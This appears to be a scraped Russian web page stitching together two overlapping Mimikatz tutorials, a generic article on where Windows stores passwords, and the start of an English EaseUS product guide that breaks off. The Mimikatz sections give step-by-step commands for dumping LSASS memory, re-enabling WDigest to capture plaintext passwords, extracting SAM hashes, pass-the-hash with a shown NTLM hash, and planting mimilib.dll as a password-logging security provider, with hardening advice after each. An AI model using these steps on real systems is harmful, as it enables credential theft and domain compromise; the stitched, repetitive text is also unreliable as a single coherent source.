Как вытащить пароли из windows

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:\Tools\mimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Содержание:

  • Извлекаем хэши паролей пользователей из памяти Windows
  • Получение хешей паролей пользователей из дампа памяти Windows
  • Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
  • Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?
  • Извлекаем пароли локальных пользователей Windows из SAM
  • Использование Mimikatz в pass-the-hash атаках
  • Просмотр сохраненных паролей в Windows
  • Дампим пароли при входе в Windows
  • Как защитить Windows от извлечения паролей из памяти?

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

  1. Запустите Mimikatz.exe с правами администратора;
  2. В контексте утилиты выполните команды:
    mimikatz # privilege::debug

    Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege).
  3. mimikatz # sekurlsa::logonPasswords full

    Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
  4. В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
  5. Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:
    anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
    Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)

получение NTLM хэша пароля пользователя Windows из LSASS

Можно использовать mimikatz не в интерактивном, а в командном режиме. Чтобы автоматически получить хэши паролей пользователей и экспортировать в текстовый файл, выполните команды:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tools\mimikatz\output.txt

Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

расшифровка ntlm хэшей

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

дамп процесса lsass.exe

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

# sekurlsa::logonPasswords

получение ntlm хэшей из дампа памяти

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsass

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Получаем пароль пользователя Windows

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

UseLogonCredential отключаем в реестре

Обновите GPO:

gpupdate /force

включить wdigest в windows через UseLogonCredential

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

privilege::debug
sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

privilege::debug
token::elevate
lsadump::sam

Также можно извлечь NTLM хэши SAM из реестра.

  1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

    экспорт реестра
  2. Затем с помощью Mimikatz извлеките хэши паролей:
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

извлечение ntlm хэшей из реестра

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

privilege::debug
sekurlsa::credman

Как вы видите, сохраненый пароль показан в секции credman.

получаем сохраненные пароли Windows

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

  1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
  2. Зарегистрируйте дополнительного провайдер командой:
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
    поддельный ssp провайдер mimilib.dll
  3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
    Get-Content C:\Windows\System32\kiwissp.log

пароли всех пользователей зписываются при входе в Windows в тектовый файл

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

  • Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
  • Отключите Wdiget;
  • Отключить NTLM
  • Запретить использование сохранённых паролей в Credential Manager
  • Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
  • Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
  • Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
    . Можно распространить этот параметр реестра на компьютеры через GPO.
  • Используйте Credential Guard для защиты содержимого LSA процесса;
  • Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.

Выводы. Еще раз напоминаем прописные истины:

  • Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
  • Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
  • Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
  • Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.

Многие люди сталкиваются с большими проблемами при использовании ПК, когда забывают пароли от входа в Виндовс, Wi-Fi или иного программного обеспечения устройства. Им на помощь приходит функция, которая называется «сохраненные пароли в Windows 10». В ней комбинации не просто записаны, а остаются неизменными внутри системы, используются для автоматической подстановки в отдельных программах. Чтобы понять, где хранятся пароли в Windows 10, пользуются разнообразными методами, их можно подобрать по своим критериям.

Место, где хранятся разнообразные пароли в системе Windows 10

Где хранятся все пароли на компьютере

Пароли бывают подключены к системе, программам, приложениям. Чтобы войти в них, требуется запомнить комбинацию букв и цифр, которые создаются при первичном использовании.

Не всем людям удается запоминать разнообразные комбинации, особенно если они разные для каждого входа. Поэтому требуется знать, как посмотреть пароль к учетным данным на Windows.

Если у человека любая модель системы Windows, используют поэтапные действия:

  1. Переход в «Панель управления», где требуется выбрать раздел диспетчера.
  2. Просматривают пункт учетных данных.
  3. Чтобы просмотреть комбинацию, нажимают на строку «Показать рядом с паролем», после чего указывают первичный код, требующийся для входа в раздел.

Этот раздел — первое место, где требуется искать данные. Там осуществляется хранение и запись сведений о ПК.

В выбранном пункте будут храниться все коды, требующиеся для 2 разделов:

  • Internet Explorer;
  • Edge.

Хранение данных

Где хранятся пароли в Windows

Если перед человеком операционная система Виндовс, рекомендуется просматривать реестр SAM, где расположены все виды учетных сведений. Это место, где Виндовс хранит пароли при помощи следующих ресурсов:

  • LM Hash — редко используемый функционал, считающийся слабым для нынешних операционных систем;
  • NTLM — более мощное и новое средство шифрации, которое может сохранить данные.

Перечисленные ресурсы относятся к одностороннему кэшу.

Где Windows 10 хранит пароли к сетевым ресурсам

При наличии Виндовс 10 можно быстро найти password, требующийся для открытия папки или программы. Чтобы найти пароли в Виндовс 10, где хранятся шифры, проходят через диспетчер содержания информации.

После открытия папки возникает 2 раздела:

  • данные для Интернета;
  • сведения для Windows.

После выбора раздела перед пользователем появляются все коды, которые были сохранены на ПК. Для их просмотра нажимают на стрелочку вниз, затем кнопку «Показать».

Администрирование файлов

Также здесь есть функция «Диспетчер учетных данных Windows». Это своеобразное хранилище, выполненное в цифровом виде на ПК. Там хранятся следующие сведения:

  • названия, логины;
  • шифры;
  • адреса.

Причем эти данные сохраняются для самого пользователя, других ПК, интернет-сайтов. Их могут применять различные приложения, инструменты, хранящиеся на устройстве. Всего выделено 3 типа сведений:

  • для Windows — применяются только операционной системой для вхождения в папки, сети;
  • на основе сертификатов — применяются через смарт-карты, обычно используются в бизнес-среде;
  • общие — применяются для программ, хранящихся на ПК.

Каждый вид сохраняется автоматически, не требует постоянной настройки. Для просмотра этих соединений используют «Диспетчер».

Сторонние утилиты

Чтобы узнать, где Windows 10 хранит сетевые пароли, используют сторонние программы. Их просматривают и скачивают через браузер. Большинство приложений требуется покупать.

EncryptedRegView

Надежное, но простое приложение, предназначенное для сканирования, шифрования данных. Действие осуществляется через API. Выделены следующие функции и возможности:

  • поиск зашифрованных сведений из реестра жесткого диска;
  • расшифровка данных с переносом найденной информации на главный экран;
  • обнаружение кодов, секретной информации, которая хранится через Microsoft или другие разделы.

Интерфейс продуманный, простой, используется на интуитивном уровне.

Рабочее поле EncryptedRegView

CredentialsFileView

Программа для просмотра зашифрованных сведений, хранящихся в Диспетчере. Она способна узнать все сведения, которые находятся в хранилище. Обычно ее используют сетевые администраторы, продвинутые пользователи.

Благодаря приложению можно выяснить, где хранятся пароли на компьютере Windows 10 в следующих разделах:

  • сведения Outlook;
  • удаленные компьютеры по локальной сети;
  • Windows Messenger.

Устройство понятно и доступно, может выполнить поиск любых кодов.

VaultPasswordView

Если требуется удобное управление паролями на Windows 10, рекомендуется эта программа. Она расшифровывает и просматривает любую информацию, хранящуюся на ПК. Появляется доступ к любым отделам жесткого диска.

Приложение содержит удобный интерфейс, простые инструменты, подходящие для новых пользователей.

В отличие от других программ, Vault полностью бесплатная.

VaultPasswordView поможет расшифровать внутренние пароли системы

«Диспетчер учетных данных» — место, в котором Windows хранит пароли и другие данные для входа

Не многие пользователи знают о диспетчере, как о месте, где должны сохраняться пароли. Их можно просмотреть, переименовать, удалить. Например, там можно сохранять все коды, которые когда-либо создавал пользователь в браузере Яндекс, Опера.

Что такое «Диспетчер учетных данных»

Это раздел, компьютерный функционал, предназначенный для удержания и переработки кодов от сайтов, серверов. Также указаны данные для входа в разделы ПК. Например, Opus, Майкрософт Офис.

Как открыть «Диспетчер учетных данных»

Чтобы найти систему, в командной строке cmd требуется прописать запрос на открытие требующегося раздела. Но можно воспользоваться и другим вариантом:

  • включение раздела «Панель управления»;
  • выбор в левой стороне папки раздела, посвященной учетным записям и безопасности;
  • выбор среди появившихся разделов нужного диспетчера.

Диспетчер всегда должен находиться в этой области, он не меняет расположение.

Учетные записи в Виндоус

Наиболее распространенные учетные записи

Среди всех разновидностей данных больше всего распространены 3 направления.

  • Вход в домашнюю группу. К ней указан логин и пароль.
  • Виртуалэп. Применим для совершенствования виртуальной версии ОС Windows 7, 8.
  • Виндовс Лайф. Выбирает раздел Live ID на ОС Windows, чтобы выполнять работу.

В основном для всех операционных систем учетные записи повторяются.

Добавление учетной записи

Чтобы добавить новый раздел на диск, осуществляют действия:

  • в папке хранящихся файлов кликают на строку для добавления учетных записей на устройство;
  • прописывают адрес, имя, пароль, кликают на клавишу «Ok».

Каждый раз при открытии компьютера сохраненные файлы открываются и применяются самостоятельно, не требуют дополнительных настроек.

Удаление учетных данных

Чтобы произвести процесс удаления, требуется кликнуть на записанный файл, затем выбрать кнопку «Удалить». Подтверждают действия при запросе.

Содержание файлов для автоматического входа

Редактирование существующих учетных данных

Чтобы произвести смену параметров, опять проходят к выбранному файлу, нажимают на раздел для изменения. Вносят их, затем подтверждают внесенные поправки, чтобы они вступили в силу.

На случай, если пользователь забудет пароли, рекомендуется узнать доступ для определения каждого из них. Перечисленные способы доступны для ОС Windows. На iOS и Android они не подходят. Благодаря этим возможностям пользователь защищен от закрытия доступа к программам.

В этой статье, написанной в рамках серии статьей, посвященной
обеспечению безопасности Windows-систем (в последний статье мы обсуждали
вопросы безопасности паролей, хранимых в GPP)
, мы познакомимся с достаточно простой методикой получения в открытом
виде паролей всех пользователей, работающих в Windows-системе с помощью
Open Source утилиты Mimikatz.

Дисклаймер
Информация и технологии, описанные в данной статье, стоит использовать
только в информационно-ознакомительных целях, и ни в коем случае не
применять для получения доступа к учетным записям, информации и системам
третьих лиц.

 

Большинство
системных администраторов пребывают в уверенности, что Windows не
хранит пароли пользователей в открытом виде, а только в виде его хэша. И
хотя на сегодня существует большое количество утилит, способных извлечь
хэши пользовательских паролей из системы, можно с определенной
уверенностью сказать, что при использовании достаточно сложного пароля
не «из словаря», у злоумышленника практически нет шансов подобрать его
прямым брутфорсом или по базе уже рассчитанных хэшей.
В принципе,
это так, но есть различные нюансы, касающиеся пользователей, залогиненых
в конкретной системе Windows.  Дело в том, что некоторые системные
процессы в своих служебных целях все-таки используют пароли
пользователей в открытом (или зашифрованном) виде, а не их хэши.
Так, например, механизм дайджест-аутентификации (HTTP Digest Authentication), используемый для поддержки SSO (Single Sign On),
для своей работы требует знания вводимого пароля пользователя, а не
только его хеша (о том, почему разработчиками это было реализовано
именно так, можно только догадываться).  Пароли (именно пароли, а не их
хэши) пользователей в зашифрованном виде хранятся в памяти ОС, а если
быть более точным в памяти процесса LSASS.EXE.
Проблема в том, что шифрование паролей реализовано с помощью
стандартных Win32 функций LsaProtectMemory и LsaUnprotectMemory, которые
предназначены для шифрования/расшифровки некоторого участка памяти.
Утилита французских разработчиков mimikatz позволяет
получать зашифрованные данные из памяти и расшифровывать их с помощью
функции LsaUnprotectMemory, позволяя вывести на консоль все учетные
записи пользователей, авторизованных в системе, и их пароли (в открытом,
уже расшифрованном виде!). Для эксплуатации уязвимости атакующий должен
иметь возможность присоединить специальную библиотеку к процессу
lsass.exe.
Скачать утилиту mimikatz можно тут: http://blog.gentilkiwi.com/mimikatz

Инфо. Утилита mimikatz детектируется большинством антивирусов и браузерами, как потенциально опасное ПО (хакерская утилита).

Утилита mimikatz позволяет извлечь пароли пользователей непосредственно из памяти (путем инъекции  в lsass.exe библиотеки sekurlsa.dll), из сохраненного дампа памяти компьютера или даже из файла гибернации.

Используем Mimikatz для извлечения паролей пользователей из lsass.exe онлайн

  • Скачайте и запустите Mimikatz.exe с правами администратора (есть x86 и x64-версии утилиты для соответствующих систем)
  • В контексте утилиты выполните команды

mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords full

(последняя команда для все активных пользователей в системе отобразит имена учетных записей и их пароли).
Mimikatz показать пароли всех пользователей, авторизовавшихся в windows системе
Как
вы видите, утилита показала нам суперсложный пароль пользователя user в
открытом виде! Все это благодаря тому, что на данном компьютере
разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege
для нужного процесса. В этом режиме программы могут получать
низкоуровневый доступ к памяти процессов, запущенных от имени системы.
Представьте
себе, что это терминальный сервер, на котором одновременно работают
множество пользователей, и на котором есть в том числе сессия
администратора предприятия. Т.е. при наличии прав администратора на
одном единственном сервере можно даже перехватить пароль администратора
домена.

Примечание. В июне
2017 года многие крупные компании России, Украины и других стран были
заражены вирусом-шифровальщиком not-petya, которые для сбора паролей
пользователей и администраторов домена использовал в том числе
интегрированный модуль mimikatz.

Примечание.
Данная методика не сработает при наличии на системе современного
антивируса, блокирующего инъекцию. В этом случае придется сначала
создать дамп памяти машины и уже на другой машине «вытянуть» из него
пароли для сессий всех пользователей.

Получение пароля пользователя из дампа памяти Windows

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Get-Process lsass | Out-Minidump

Get-Process-lsass PowershellПолучившийся дамп памяти, в нашем примере это lsass_592.dmp
(по умолчанию он сохраняется в каталоге %windir\system32%), нужно
скопировать на другой компьютер, в которой имеется утилита mimikatz и
выполнить команду:

Mimikatz “sekurlsa::minidump lsass_592.dmp”

И следующей командой получим из сохранённого дампа памяти список пользователей, работающих в системе и их пароли:

mimikatz # sekurlsa::logonPasswords

windows узнать пароль пользователя из дампа памяти
Как вы видите, ничего сложного.
Таким
способом можно получить дамп памяти с удаленного компьютера с помощью
psexec или через WinRM (при наличии прав администратора) и извлечь из
него пароль пользователя.

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Идем
дальше. С помощью простых манипуляций злоумышленник может легко извлечь
пароли пользователей из файлов дампов памяти, файла гибернации системы
(hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки
виртуальных машин и их снапшоты).
Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).
Например, в случае необходимости преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполним команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный
дамп загружаем в WinDbg (File -> Open Crash Dump), загружаем
библиотеку mimikatz  с именем mimilib.dll (версию выбрать в зависимости
от разрядности системы):

.load mimilib.dll

Ищем в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsassИ наконец, набираем:

.process /r /p fffffa800e0b3b30
!mimikatz

и получаем список пользователей Windows и их пароли в открытом виде.
Получаем пароль пользователя Windows
Получение
паролей пользователей Windows в открытом виде с помощью утилиты
Mimikatz работает на следующих системах, в том числе запущенных на
гипервизорах Hyper-V 2008/2012 и VMWare различных версий:

  • Windows Server 2008 / 2008  R2
  • Windows Server 2012/ R2
  • Windows 7
  • Windows 8

Примечание. Кстати говоря, функционал mimikatz уже внедрен в Metasploit Framework.

Использование Mimikatz в pass-the-hash атаках

В
том случае, если не удается получить пароль пользователя, а только его
хеш, Mimikatz можно использовать для так называемой атаки pass-the-hash
(повторное использованиу хэша). В этом случае хэш может использовать для
запуска процессов от имени пользователя. Например,  получив NTLM хэш
пользователя, следующая команда запустит командную строку от имени
привилегированного аккаунта:
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:{NTLM-хэш} /run:cmd

Как защитить Windows от извлечения паролей из памяти через mimikatz?

В
Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей
через LSASS несколько ограничены. Так, по-умолчанию в этих системах в
памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал
бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в
которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0 (WDigest отключен).
Если
после установки обновления и ключа UseLogonCredential попробовать
извлечь пароли из памяти, вы увидите, что mimikats с помощью команды
creds_wdigest не сможет извлечь пароли и хэши.
mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше
Однако при наличии прав администратора вы сможете легко изменить этот ключ:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
UseLogonCredential отключаем в реестре
После этого вы опять сможете получить доступ к паролям в памяти LSA.
В
инструментарии mimikatz есть и другие инструменты получения паролей и
их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата
билетов Kerberos), поэтому в качестве рекомендаций рекомендуется
реализовать следующие меры:

  • Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption)
  • Запретить использование сохранённых паролей в Credential Manager
  • Запретить
    кэшировать учетные данные доменных пользователей (ключ
    CachedLogonsCount и политика Interactive logon: Number of previous
    logons to cache)
  • Если функциональный уровень домена не ниже
    Windows Server 2012 R2, можно добавить учетные записи администартороав в
    специальную группу Protected Users

При
тестировании mimkatz в Windows 10 Pro x64 с настройками утилита mimkatz
2.0 смогла получить хэши пароля активного пользователя (но не пароль в
открытом виде).
На более старых системах нужно в качестве
временного решения нужно ограничить получение привилегии debug и
отключить поставщика безопасности wdigest через реестр. Для этого в
ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa найдите ключ Security Packages и удалить из списка пакетов строку wdigest. Отключаем провайдера wdigest в ветке LSA системыОднако нужно понимать, что атакующему, при наличии соответствующих прав на реестр, не составит труда вернуть настройки обратно.
Выводы. Еще раз напоминаем прописные истины:

  • Не стоит использовать одинаковые пароли для разных сервисов (особенно терминальных, находящихся во владении третьих лиц).
  • Задумайтесь
    о безопасности ваших паролей и данных, находящихся на виртуальных
    машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще
    имеется доступ к гипервизорам и хранилищу, на котором расположены файлы
    виртуальных машины.
  • Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows)
  • Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям

How to Find Stored Passwords on Windows 10 [Step-by-Step Solution]

Updated by
Cici on Jul 20, 2023 

There are a lot of essential passwords stored within your computer. When you accidentally forget your password, you can quickly find the saved password if you find the place where Windows stores it. EaseUS will provide several ways to find passwords stored in Windows 10.

Before we start the specific tutorial, let’s briefly examine where passwords are stored in Windows 10.

Only when you know where your passwords are saved you can find the username and password on Windows 10. Luckily, Windows provides a digital locker called Credential Manager to store all login credentials, including usernames, passwords, and addresses. Passwords or other login information. However, viewing passwords requires your authentication.

In addition, some passwords may be stored in the Windows registry, Windows vault, or command line. All such credentials are accumulated in an encrypted format. The system asks you to enter the administrator’s password for this purpose. Once you know where the passwords are stored, it’s time to learn how to find them on Windows 10. We’ll give a detailed step-by-step guide next.

How to Find Stored Passwords on Windows 10?

Since there are multiple places where passwords are stored on Windows 10, there are various ways to find the Stored password; the following are the four best options:

  • Find Stored Passwords via Key Finder
  • Find Stored Passwords via Credential Manager
  • Find Stored Passwords via Command Prompt
  • Find Stored Passwords via Registry Editor

Method 1 is a comprehensive password solution more suitable for novice computer users. Other methods have certain limitations and are more suitable for users who are familiar with computers. Once you have chosen the method, let’s start with a detailed step-by-step guide!

Find Stored Passwords via Key Finder

EaseUS Key Finder is a dedicated tool for Windows password finding and recovery. It integrates all passwords in one, including software passwords, email passwords, WiFi passwords, and more. It not only supports web passwords, such as Check Chrome, Edge, Firefox, and IE browser accounts and passwords but also supports Windows product keys.

The Key Finder has very powerful features. But it is simple and easy to use, perfect for users without technical knowledge. Download it and follow the steps below to find all the passwords you have stored on Windows 10.

Step 1. Launch EaseUS Key Finder, and click «Windows Credentials» on the left pane.

Click Windows Credential on the left pane of EaseUS Key Finder

Step 2. Now, you can check all available Windows Credential addresses with respective user names, and passwords.

You can click «Copy», «Print», or «Save» these Windows Credentials’ accounts and passwords at one time. 

Save Windows Credential user names and passwords at one time

Other Features of EaseUS Key Finder

EaseUS Key Finder is a very good password finder. It also has the following powerful features:

  • Recover lost product keys: It can be used to recover lost product passwords, Adobe and Microsoft Office passwords.
  • Find WiFi passwords: The tool can find and recover any WiFi password on your computer.
  • Find Product Key from Dead PC: If your PC is unfortunately dead or unbootable, this tool can recover the product key from a dead PC.
  • Find IE accounts and passwords: It can easily display accounts and passwords stored in different web browsers such as Chrome, Edge, Firefox, and Internet Explorer.

EaseUS Key Finder can also meet more of your needs. It is a one-stop solution for password services. You can download it if you need it by clicking the link below!

Find Stored Passwords via Credential Manager

Windows Credential Manager allows users to store their usernames, passwords, and other credentials when logging in to websites. These credentials help users to automatically log in to the target web page, saving them a lot of time and effort. Here are the steps to find stored passwords using Credential Manager:

Step 1. Search for Credential Manager in the Start menu bar and open the search results.

Step 2. You will see two categories: Web Credentials and Windows Credentials. You can have the entire web credentials, as well as website passwords. You can click on Web Credentials and expand the Web Passwords option.

web credential

Step 3. Click «Show» and enter the Windows password used to unlock the password.

If you want to find the Windows credentials, click the option next to Web Credentials. There are fewer credentials stored there unless you enter the corporate environment.

Find Stored Passwords via Command Prompt

The Command Prompt is a very powerful built-in tool for Windows. It allows you to find passwords on Windows without being able to use the Credential Manager. However, this method is only available to users familiar with the command parameters. The following is a step-by-step guide:

Step 1. Open a command line window and run it as administrator.

